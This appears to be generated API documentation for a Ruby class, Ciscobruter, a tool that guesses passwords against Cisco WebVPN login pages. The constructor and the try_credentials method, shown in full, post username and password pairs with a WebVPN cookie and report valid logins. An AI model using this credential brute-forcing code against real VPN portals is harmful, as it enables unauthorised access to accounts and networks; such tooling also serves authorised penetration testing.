Class: Ciscobruter
- Inherits:
-
Object
- Object
- Ciscobruter
- Defined in:
- lib/ciscobruter.rb
Instance Attribute Summary collapse
-
#group ⇒ Object
Returns the value of attribute group.
-
#headers ⇒ Object
Returns the value of attribute headers.
-
#http ⇒ Object
Returns the value of attribute http.
-
#path ⇒ Object
Returns the value of attribute path.
-
#uri ⇒ Object
Returns the value of attribute uri.
-
#verbose ⇒ Object
Returns the value of attribute verbose.
Instance Method Summary collapse
-
#initialize(target, verbose = nil, login = nil, group = nil) ⇒ Ciscobruter
constructor
A new instance of Ciscobruter.
- #try_credentials(username, password) ⇒ Object
Constructor Details
#initialize(target, verbose = nil, login = nil, group = nil) ⇒ Ciscobruter
Returns a new instance of Ciscobruter.
43 44 45 46 47 48 49 50 |
# File 'lib/ciscobruter.rb', line 43 def initialize(target, verbose=nil, login=nil, group=nil) self.uri = URI.parse(target) self.path = set_path(login) self.group = group self.http = setup_http self.headers = { 'Cookie' => 'webvpnlogin=1; webvpnLang=en' } self.verbose = verbose end |
Instance Attribute Details
#group ⇒ Object
Returns the value of attribute group.
41 42 43 |
# File 'lib/ciscobruter.rb', line 41 def group @group end |
#headers ⇒ Object
Returns the value of attribute headers.
41 42 43 |
# File 'lib/ciscobruter.rb', line 41 def headers @headers end |
#http ⇒ Object
Returns the value of attribute http.
41 42 43 |
# File 'lib/ciscobruter.rb', line 41 def http @http end |
#path ⇒ Object
Returns the value of attribute path.
41 42 43 |
# File 'lib/ciscobruter.rb', line 41 def path @path end |
#uri ⇒ Object
Returns the value of attribute uri.
41 42 43 |
# File 'lib/ciscobruter.rb', line 41 def uri @uri end |
#verbose ⇒ Object
Returns the value of attribute verbose.
41 42 43 |
# File 'lib/ciscobruter.rb', line 41 def verbose @verbose end |
Instance Method Details
#try_credentials(username, password) ⇒ Object
52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 |
# File 'lib/ciscobruter.rb', line 52 def try_credentials(username, password) info "Trying username: #{username} and password: #{password} on #{uri.host}" if verbose post = "username=#{username}&password=#{password}" if group != nil post += "&group_list=#{group}" end response = http.post(path, post, headers) if response.code == "200" if validate_credentials(response.body) report_creds(username, password) end elsif response.code == "302" warn "Error. #{path} not valid." end return end |